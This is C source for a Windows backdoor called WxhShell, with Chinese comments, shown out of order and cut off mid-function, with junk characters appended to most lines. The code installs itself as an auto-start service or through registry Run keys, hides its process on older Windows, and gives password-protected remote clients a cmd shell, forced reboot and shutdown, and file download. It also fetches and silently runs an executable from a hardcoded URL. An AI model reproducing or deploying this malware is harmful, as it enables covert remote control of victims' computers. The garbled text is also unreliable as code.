    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P]^8Enp  
    if(Boot(SHUTDOWN)) <Tgubv+J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }O crA/  
    else { }03?eWk/y  
    closesocket(wsh); ^pe/~ :a  
    ExitThread(0); V}<<?_  
    } \ CcVk"/  
    break; 7^rT-f07  
    } "'``O~08/  
  // 获取shell 4Yok,<  
  case 's': { ]5 ]wyDj  
    CmdShell(wsh); K'8?%&IQ  
    closesocket(wsh); n7ZJ< ~wl  
    ExitThread(0); l<=k#d  
    break; 7\$}|b[9  
  } * wqR.n?  
  // 退出 }Tm+gJA  
  case 'x': { Tg@G-6u0c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K($+ILZ  
    CloseIt(wsh); . &}x[~g  
    break; 3_;=y\F  
    } 0[ "CP:u  
  // 离开 RjP]8tH&  
  case 'q': { p[WlcbBwT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :+9. v  
    closesocket(wsh); U"@p3$2QW  
    WSACleanup(); "S{GjOlEDF  
    exit(1); F\;l)  
    break; {7IZN< e  
        } c+Z dfdR  
  } A;ZluQ  
  } ixM#|Yq  
G~&q  
  // 提示信息 Qt'3v"S>)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vfc5M6Vm)<  
} &u"mFweS  
  } `3K."/N6c  
)knK'H(  
  return; <uoVGV5N  
} rjfWty%6pX  
vqUYr  
// shell模块句柄 P%[ { 'u  
int CmdShell(SOCKET sock) ):=8w.yC  
{ c2GTN"  
STARTUPINFO si; M9VAs~&S  
ZeroMemory(&si,sizeof(si)); _ !"[Zr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V.Lk70 \  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +m}D.u*cp  
PROCESS_INFORMATION ProcessInfo; {RsdI=%  
char cmdline[]="cmd"; XI ><;#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I A=\c  
  return 0; z:Ru`  
} -DZ5nx  
i-95>ff  
// 自身启动模式 N-p||u  
int StartFromService(void) ) TNG0[  
{ bWCtRli}  
typedef struct >"zN`  
{ X"f]  
  DWORD ExitStatus; 0|\A5 eG  
  DWORD PebBaseAddress; $G /p[JG6-  
  DWORD AffinityMask; 33"!K>wC  
  DWORD BasePriority; aNICSxDN  
  ULONG UniqueProcessId; 7/=r-  
  ULONG InheritedFromUniqueProcessId; \<} e?Yx%  
}   PROCESS_BASIC_INFORMATION; j->5%y  
*L<<S=g$2  
PROCNTQSIP NtQueryInformationProcess; Q`=d5Uvw  
6%c]{eTd9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RbA.&=3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3P'Wk|j  
H7{kl  
  HANDLE             hProcess; p{0rHu[  
  PROCESS_BASIC_INFORMATION pbi; /dR:\ffz2  
6D4u?P,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5cr\ JR  
  if(NULL == hInst ) return 0; pe\]}&  
_^0UK|[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l n09_Lr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DnB :~&Dw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B1U7z1<  
0n?^I>j  
  if (!NtQueryInformationProcess) return 0; ]PH'G>x  
%$R]NL|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hus9Zv4  
  if(!hProcess) return 0; Q\le3KB  
R36A_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +=L^h9F  
baR*4{]  
  CloseHandle(hProcess); 2B=BRVtSs  
\q|<\~A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `jGG^w3  
if(hProcess==NULL) return 0; A9y3B^\*  
Z~g7^,-t  
HMODULE hMod; N*}g+ IS  
char procName[255]; S1*xM  
unsigned long cbNeeded; jQ P2[\  
t "[2^2G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @B>pPCowa  
]RI+:f  
  CloseHandle(hProcess); h`MTB!o  
H')8p;~{}  
if(strstr(procName,"services")) return 1; // 以服务启动 vq5o?$:-  
AUm5$;o,/  
  return 0; // 注册表启动 GaOM|F'>  
} ALp|fZ\vp  
=D^R,Q  
// 主模块 AKUmh  
int StartWxhshell(LPSTR lpCmdLine) rIAbr5CG  
{ [Pz['q L3t  
  SOCKET wsl; vqJq=\ .m  
BOOL val=TRUE; FWQNO(  
  int port=0; GsNZr=;C  
  struct sockaddr_in door; ;Z-%'5hKM  
^qNr<Ye  
  if(wscfg.ws_autoins) Install(); IFW"S fdZk  
M:.0]'[s5  
port=atoi(lpCmdLine); pn aSOyR  
,uCgC4EP  
if(port<=0) port=wscfg.ws_port; / #D R|  
@@#h-k%k-  
  WSADATA data; <2fgao&-n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oYrg;]H  
kuo!}QFL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (Ujry =f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mBg$eiGTB  
  door.sin_family = AF_INET; / yTPb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Na$[nv8qh  
  door.sin_port = htons(port); {1J4Q[N9m  
EVDcj,b"^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $VUX?ii$7=  
closesocket(wsl); k[]2S8K2  
return 1; 'Em633  
} CjUYwAy$k  
o6)U\z  
  if(listen(wsl,2) == INVALID_SOCKET) { Apc!!*7  
closesocket(wsl); 5T]dQ3[v4  
return 1; \MB$Cwc  
} T8 >aU  
  Wxhshell(wsl); t`E e/L%  
  WSACleanup(); }5lC8{wZ  
DN;3VT.-  
return 0; 9}aEV 0 V|  
i^"!"&tW#  
} @k||gQqIB  
#,Cz+ k*4  
// 以NT服务方式启动 #]@|mf q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |?4NlB6  
{ ;_p!20.(  
DWORD   status = 0; #.@-ng6C  
  DWORD   specificError = 0xfffffff; EM,=R  
aBWA hn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w7b\?]}@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V$3`y=8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W?D-&X^ny  
  serviceStatus.dwWin32ExitCode     = 0; _~O*V&  
  serviceStatus.dwServiceSpecificExitCode = 0; )w,<XJhg`  
  serviceStatus.dwCheckPoint       = 0;  N}KL'  
  serviceStatus.dwWaitHint       = 0; 1;eWnb(  
ayQ2#9X}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); arN=OB  
  if (hServiceStatusHandle==0) return; /n1L},67h  
3>mAZZL5[  
status = GetLastError(); L"}tJM.d  
  if (status!=NO_ERROR) [I`:%y  
{ qIvnPaYW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BRXDE7vw  
    serviceStatus.dwCheckPoint       = 0; $+$4W\-=X  
    serviceStatus.dwWaitHint       = 0; aATNeAR  
    serviceStatus.dwWin32ExitCode     = status; L5r02VzbD  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2=uwGIF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =:'\wx X  
    return; @W-0ybv  
  } ZP '0=  
zZ;V9KM>v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `N8t2yF  
  serviceStatus.dwCheckPoint       = 0; ]EdZ,`B4  
  serviceStatus.dwWaitHint       = 0; z0@BBXQ`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IYv.~IQO  
} wlgR = l  
&z@}9U*6b  
// 处理NT服务事件,比如:启动、停止 /h8100  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +QP(ATdM  
{ NuW6~PV  
switch(fdwControl) 1)!2D?w  
{ g)7@EU2  
case SERVICE_CONTROL_STOP: *Sps^Wl  
  serviceStatus.dwWin32ExitCode = 0; wV-9T*QrM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tXcZl!3x  
  serviceStatus.dwCheckPoint   = 0; oxL)Jx\c9A  
  serviceStatus.dwWaitHint     = 0; wHh6y?g\  
  { C-XJe~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <<R2 X1  
  } 3^5h:OaT  
  return; \>x1#Vr>#V  
case SERVICE_CONTROL_PAUSE: ZsSW{ffZ77  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0#4A0[vV  
  break; *Qyu QF  
case SERVICE_CONTROL_CONTINUE: ~F%sO'4!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dh9@3. t  
  break; *HB 32 =qD  
case SERVICE_CONTROL_INTERROGATE: %xr'96d  
  break; $9P=  
}; EP^qj j@M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TbLU[(m-n  
} r6GXmr  
m_.9 PZ  
// 标准应用程序主函数 yzZzaYv "/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0!oqP1  
{ MJkusR/  
z?pi /`y8>  
// 获取操作系统版本 :zY;eJKm  
OsIsNt=GetOsVer(); 4ETHaIiWp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z_fwvcZ?05  
B):ZX#  
  // 从命令行安装 w 62m}5eA  
  if(strpbrk(lpCmdLine,"iI")) Install(); rT\~VJ>+i  
%!eRR  
  // 下载执行文件 /:ZwGyT;  
if(wscfg.ws_downexe) { JY@bD:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &xA>(|a\&-  
  WinExec(wscfg.ws_filenam,SW_HIDE); KDP"z  
} TQb@szp:|  
"a9j2+9  
if(!OsIsNt) { h(R7y@mp\0  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zb2PFwcy  
HideProc(); QO0@Ax\b  
StartWxhshell(lpCmdLine); ?zQW9e  
} ycSGv4 )  
else QT zN  
  if(StartFromService()) crOSr/I$  
  // 以服务方式启动 /KNR;n'  
  StartServiceCtrlDispatcher(DispatchTable); LT>_Y`5>  
else 6212*Z_Af  
  // 普通方式启动 ,|A6l?iV  
  StartWxhshell(lpCmdLine); S(nQ?;9,  
*C0a,G4  
return 0; R)ZzRz|/  
} dNY'uv&Y  
!L|l(<C  
$MGKGWx@E  
](v,2(}=  
=========================================== rk4KAX_[  
xQU//kNL  
>2#<tH0  
[s`B0V`04  
)">#bu$  
6P}?+ Gc  
" YFPse.2$a  
V=p"1!(  
#include <stdio.h> tu"-]^  
#include <string.h> 0Ze&GK'Hf  
#include <windows.h> U, 7  
#include <winsock2.h> H\n6t-l  
#include <winsvc.h> 2O@ON/  
#include <urlmon.h> ("ix!\1K@  
O`1!&XT{x  
#pragma comment (lib, "Ws2_32.lib") {5D%<Te  
#pragma comment (lib, "urlmon.lib") P^=B6>e  
1Az&BZU[  
#define MAX_USER   100 // 最大客户端连接数 3UW`Jyd`k  
#define BUF_SOCK   200 // sock buffer j>?nL~{  
#define KEY_BUFF   255 // 输入 buffer E2dS@!]V  
}~=<7|N.  
#define REBOOT     0   // 重启 llR5qq=t  
#define SHUTDOWN   1   // 关机 $H.U ~  
V`LE 'E  
#define DEF_PORT   5000 // 监听端口 Qxa Me8 (  
g.Qn,l]X/p  
#define REG_LEN     16   // 注册表键长度 ;<[!;8  
#define SVC_LEN     80   // NT服务名长度 &&52ji<3  
"PElQBLP:  
// 从dll定义API G~.VW48{n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U&:-Vf~&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l{.PyU5)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^Ss <<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PPrvVGP   
ewN|">WXQ  
// wxhshell配置信息 3I)oqS@q'  
struct WSCFG { bv(+$YR  
  int ws_port;         // 监听端口  0%,W5w  
  char ws_passstr[REG_LEN]; // 口令 YfZ5Q}*1O+  
  int ws_autoins;       // 安装标记, 1=yes 0=no ## vP(M$  
  char ws_regname[REG_LEN]; // 注册表键名 .pe.K3G &  
  char ws_svcname[REG_LEN]; // 服务名 42hG }Gt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f% t N2k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9[*P`*&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3hBYx@jTO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RrrlfFms  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]e5aHpgR=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R\n@q_!`X  
#Pz'-lo  
}; CE  
muF&t'k  
// default Wxhshell configuration ow 6\j:$?  
struct WSCFG wscfg={DEF_PORT, fj( WH L  
    "xuhuanlingzhe", r/0 #D+A  
    1, oNl-! W   
    "Wxhshell", G@~e :v)  
    "Wxhshell", FMn|cO.vEP  
            "WxhShell Service", 0QquxYYw,  
    "Wrsky Windows CmdShell Service", hUp3$4w  
    "Please Input Your Password: ", rVsCJuxI  
  1, i@WO>+iB  
  "http://www.wrsky.com/wxhshell.exe", 2uY:p=DxG9  
  "Wxhshell.exe" xJ:Am>%\^  
    }; A>F&b1  
}3XjP55  
// 消息定义模块 :4X,5X7tW=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wRwx((eb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +kxk z"fP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H3d|eO4+W  
char *msg_ws_ext="\n\rExit."; K)`R?CZ:s  
char *msg_ws_end="\n\rQuit."; x~8R.Sg  
char *msg_ws_boot="\n\rReboot..."; <?8cVLW} O  
char *msg_ws_poff="\n\rShutdown..."; d/3&3>/  
char *msg_ws_down="\n\rSave to "; \!uf*=d  
)PU\|I0|)e  
char *msg_ws_err="\n\rErr!"; gGA5xkA  
char *msg_ws_ok="\n\rOK!"; 6rG7/  
U:MZN[Cc[  
char ExeFile[MAX_PATH]; Ue,eEer  
int nUser = 0; 23p.g5hJi  
HANDLE handles[MAX_USER]; 5HL>2 e[  
int OsIsNt; =yqg,w&Q  
jamai8  
SERVICE_STATUS       serviceStatus;  }l]r-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u|EJ)dT?  
E6G;fPd= E  
// 函数声明 ]>sMu]biH  
int Install(void); Sqmjf@o$>  
int Uninstall(void); Y%]g,mG  
int DownloadFile(char *sURL, SOCKET wsh); 6~s{HI!  
int Boot(int flag); e*Nm[*@UW  
void HideProc(void); MfLus40;n  
int GetOsVer(void); l{ fL~O  
int Wxhshell(SOCKET wsl); EOqV5$+  
void TalkWithClient(void *cs); ji ,`?  
int CmdShell(SOCKET sock); >2mY%  
int StartFromService(void); /n,a0U/  
int StartWxhshell(LPSTR lpCmdLine); 6w{""K.{  
cY~lDLyB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uSC I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r[j@@[)"  
Cd p_niF  
// 数据结构和表定义 !g>mjD  
SERVICE_TABLE_ENTRY DispatchTable[] = 5=8_Le  
{ hiR+cPSF  
{wscfg.ws_svcname, NTServiceMain}, T~}g{q,tR  
{NULL, NULL} X/Fip 0i  
}; ={190=\9  
;lTgihW-  
// 自我安装 J(XK%e[8  
int Install(void) nu|odP  
{ b%X}{/n  
  char svExeFile[MAX_PATH]; F>@z&a}(  
  HKEY key; d +eb![fi  
  strcpy(svExeFile,ExeFile); 4HXNu,T'  
`wLmGv+V  
// 如果是win9x系统,修改注册表设为自启动 2V+[:>F  
if(!OsIsNt) { g@>y`AFnr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %-!:$ 1;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a[lx&CHgI  
  RegCloseKey(key); _@|_`5W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OW> >6zM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j z&=8  
  RegCloseKey(key); &hhxp1B  
  return 0; Rg~[X5  
    } \nVoBW(  
  } z5[Qh<M  
} 5M3)7  
else { i2Gh!5]f  
,?GAFg K:  
// 如果是NT以上系统,安装为系统服务 #: ,X^"w3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <lSo7NkR  
if (schSCManager!=0) ux7g%Q ^"  
{ xU9^8,6  
  SC_HANDLE schService = CreateService :Sk<0VVd7  
  ( W?12'EG}xa  
  schSCManager, JlH5 <:#PN  
  wscfg.ws_svcname, OPKmYzf@b  
  wscfg.ws_svcdisp, {+QQ<)l^tJ  
  SERVICE_ALL_ACCESS, jRjQDK_"ka  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a4!6K  
  SERVICE_AUTO_START, -32.g \]  
  SERVICE_ERROR_NORMAL, +G!;:o  
  svExeFile, A)^A2xZQ  
  NULL, ?[O Sy.6  
  NULL, l {\@+m  
  NULL, n 8e}8.Bu  
  NULL, qSL~A-  
  NULL KH1/B_.\V  
  ); Nx(y_.I{K  
  if (schService!=0) f^XfIH_#  
  { !r0 z3^*N  
  CloseServiceHandle(schService); /lvH p  
  CloseServiceHandle(schSCManager); U C9w T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W}oAgUd  
  strcat(svExeFile,wscfg.ws_svcname); VoUAFEcs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C? b_E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g\,HiKBXd  
  RegCloseKey(key); \3z^/F~  
  return 0; Hn(L0#Oqy  
    } %G~%:uJ5  
  } 9hs7B!3pc>  
  CloseServiceHandle(schSCManager); !1?Nc}T0Q&  
} z#| tl/aP9  
} (KG>lTdN  
KfNR)  
return 1; s^AZ)k~J(  
} 3sGe#s%  
noNL.%I  
// 自我卸载 ~7=w,+  
int Uninstall(void) Wv)2dD2I  
{ We#O' m  
  HKEY key; `L}Irt}  
N+ R/ti  
if(!OsIsNt) { 6~Xe$fP(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?x &"EhA>  
  RegDeleteValue(key,wscfg.ws_regname); \LW '6 pQ_  
  RegCloseKey(key); W*|U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )c<5:c  
  RegDeleteValue(key,wscfg.ws_regname); ;;- I<TL  
  RegCloseKey(key);  0bk094  
  return 0; !ly]{DTmm  
  } LaiUf_W#X  
} re} P  
} -{fbZk&A  
else { uU00ZPS*G[  
Nb;Yti@Y.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %7rWebd-  
if (schSCManager!=0) o%A@ OY  
{ ;H8A"$%n~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ow]c,F}^  
  if (schService!=0) hu qQ0  
  { G@QZmuj&KH  
  if(DeleteService(schService)!=0) { |+i?FYA\  
  CloseServiceHandle(schService); dmD ':1  
  CloseServiceHandle(schSCManager); C_Z[ul  
  return 0; QFf lx  
  } dPRGL hWF  
  CloseServiceHandle(schService); e[8p/hId  
  } "^ cn9AG{  
  CloseServiceHandle(schSCManager); a|@^ N  
} . RNQlh3  
} SQbnn"  
yN~: 3  
return 1; Lw.N3!e[  
} vg1p{^N !  
E8Wgm 8  
// 从指定url下载文件 )f0t"lk  
int DownloadFile(char *sURL, SOCKET wsh) !Hr +|HKQ?  
{ v 1O* Q  
  HRESULT hr; 5fBW#6N/  
char seps[]= "/"; hU `H\LE  
char *token; cS ;hyLd  
char *file; 9Kyr/6w4-k  
char myURL[MAX_PATH]; Re b^w,  
char myFILE[MAX_PATH]; 8f|  
0Q5ua `U  
strcpy(myURL,sURL); -K)P|'-?m  
  token=strtok(myURL,seps); [0} ^w[  
  while(token!=NULL) ,saf"Ed=  
  { D|n`9yv a  
    file=token; C@L:m1fz  
  token=strtok(NULL,seps); ?H3xE=<X  
  } &`63"^y  
A_@#V)D2  
GetCurrentDirectory(MAX_PATH,myFILE); s?5(E}  
strcat(myFILE, "\\"); p]#%e0  
strcat(myFILE, file); /\_ s  
  send(wsh,myFILE,strlen(myFILE),0); #f@sq5pTO  
send(wsh,"...",3,0); z>hG'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?ei7jM",  
  if(hr==S_OK) ,.f GZ4  
return 0; cQUmcK/,  
else O.*,e  
return 1; 8<6;X7<-  
F 3}cVO2bY  
} P{)eZINlE  
!T|X/B R  
// 系统电源模块 (a1s~  
int Boot(int flag) 70m}+R(`  
{ y_8 8I:O  
  HANDLE hToken; -q\1Tlc]3  
  TOKEN_PRIVILEGES tkp; BaTE59W  
3%xj-7z W  
  if(OsIsNt) { SVaC)O(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z&d&Ky  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V4Ql6vg_f  
    tkp.PrivilegeCount = 1; H5=-b@(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q=E<y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jO$3>q  
if(flag==REBOOT) { Xi1/wbC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pd\S{ Y~wk  
  return 0; F\&R nDJ  
} [*#ms=Zdc  
else { fXBA P10#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O6;7'  
  return 0; _y),C   
}  #IyxH$  
  } K9gfS V>]  
  else { 4RNB\D  
if(flag==REBOOT) { Hc4]2pf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cyG3le& +G  
  return 0; {v56k8uZ  
} }0|,*BkI m  
else { KyNv)=x4c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \ M8;CN  
  return 0; }ruBbeQ  
} Z@ * ^4Ve  
} B9n$8QS  
IiIF4 pQ,  
return 1; F\Ex$:%~  
} aDTNr/I  
BD9W-mF  
// win9x进程隐藏模块 {(A Ys*5  
void HideProc(void) 'ac %]}`-  
{ Lu6!W  
5R/!e`(m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k 0z2)3L  
  if ( hKernel != NULL ) x(&o=Pu  
  { ZPY#<^WOzr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _CBG?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p0UR5A>p  
    FreeLibrary(hKernel); Edc<  8-  
  }  J O`S  
Lt.a@\J'_  
return;  ">*PH}b  
} vz*QzVk1  
iXMs*G cK  
// 获取操作系统版本 ,l#Ev{  
int GetOsVer(void) Je[wGF:%:$  
{ cWP34;NNM  
  OSVERSIONINFO winfo; :e`;["(,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~%B^`s  
  GetVersionEx(&winfo); =M)+O%`*6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <l(LQmM;  
  return 1; )}1 J.>5  
  else r%JJ5Al.S  
  return 0; hdp;/Qz&  
} #7+oM8b  
34Q l7LQp[  
// 客户端句柄模块 KQj5o>} 6  
int Wxhshell(SOCKET wsl) *pCT34'--  
{ |[;9$Vn  
  SOCKET wsh; +HQX]t:Y  
  struct sockaddr_in client; lO9ML-8C1  
  DWORD myID; B)O{+avu  
(hS j4Cp  
  while(nUser<MAX_USER) Tf) qd\  
{ 9sifc<za  
  int nSize=sizeof(client); "m.jcKt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iVLfAN @  
  if(wsh==INVALID_SOCKET) return 1; r'#5ncB  
r1yz ?Y_P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M3c-/7  
if(handles[nUser]==0) & xo,49`!  
  closesocket(wsh); K>Dn#"{Y  
else !jGe_xB}~  
  nUser++; ,&rlt+wE  
  } ;"$Wfy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a.#`>  
UR44 iA]  
  return 0; Q\z6/1:9Z  
} Pk!RgoWF  
J wL}|o6  
// 关闭 socket GSIRZJl  
void CloseIt(SOCKET wsh) oW3j|V  
{ HKbyi~8N=  
closesocket(wsh); m-4P*P$X  
nUser--; kHygif !I4  
ExitThread(0); FCnOvF65  
}  eme7y  
nj$TdwZbK  
// 客户端请求句柄 Kur3Gf X  
void TalkWithClient(void *cs) :*Lr(-N-  
{ ?55t0  
+sq'\Tbp  
  SOCKET wsh=(SOCKET)cs; S=B?bD_,c  
  char pwd[SVC_LEN]; 3DRJl, v  
  char cmd[KEY_BUFF]; z{Z4{&M  
char chr[1]; hkB/ OJ  
int i,j; $5N%!  
],#Xa.r  
  while (nUser < MAX_USER) { Y S/x;  
jD1/`g%  
if(wscfg.ws_passstr) { .\XFhOsa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^3"~ T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /k8Lu+OJ  
  //ZeroMemory(pwd,KEY_BUFF); .}!"J`{ W  
      i=0; Z" j #kaXA  
  while(i<SVC_LEN) { yNCd} 4Ym5  
[qbZp1s|(  
  // 设置超时 4&%0%  
  fd_set FdRead; ,Ta k',  
  struct timeval TimeOut; C{( &Yy"  
  FD_ZERO(&FdRead); pURtk-Fr2  
  FD_SET(wsh,&FdRead); WxLbf +0o  
  TimeOut.tv_sec=8; M3 MB{cA2  
  TimeOut.tv_usec=0; ""$vaqt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g>` k9`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LtIp,2GP&_  
* -uA\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y;2WY 0eq  
  pwd=chr[0]; $eHYy,,  
  if(chr[0]==0xd || chr[0]==0xa) { }C-K0ba7  
  pwd=0; .n$c+{  
  break; 4Z8FLA+T,  
  } <O:}dXqZ  
  i++; jN))|eD0x  
    } {txW>rZX  
kjAARW  
  // 如果是非法用户,关闭 socket S$#"bK/p^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t5O '7x  
} ?APzb4f^W  
 FZL"[3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gak@Z!|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X83,f CCl5  
kU :ge  
while(1) { tofX.oi+C$  
4eVQO%&2  
  ZeroMemory(cmd,KEY_BUFF); [B~*88T  
dfy]w4ETB  
      // 自动支持客户端 telnet标准   &/dYJv$[9  
  j=0; mok94XuK)  
  while(j<KEY_BUFF) { m\zCHX#n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X1DE   
  cmd[j]=chr[0]; r2ZSkP.  
  if(chr[0]==0xa || chr[0]==0xd) { an q1zH  
  cmd[j]=0; 9w3KAca  
  break; TAL,(&[s  
  } n_~u!Ky_P  
  j++; "w 7{,HP  
    } 5Z;iK(>IX  
v']Tusmg  
  // 下载文件  4,g_$)  
  if(strstr(cmd,"http://")) { RE._Ov>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); } H#C<:A  
  if(DownloadFile(cmd,wsh)) _uXb 9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cb4.N 8  
  else \/XU v(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %f)%FN . S  
  } osM[Xv  
  else { 6JgbJbUi  
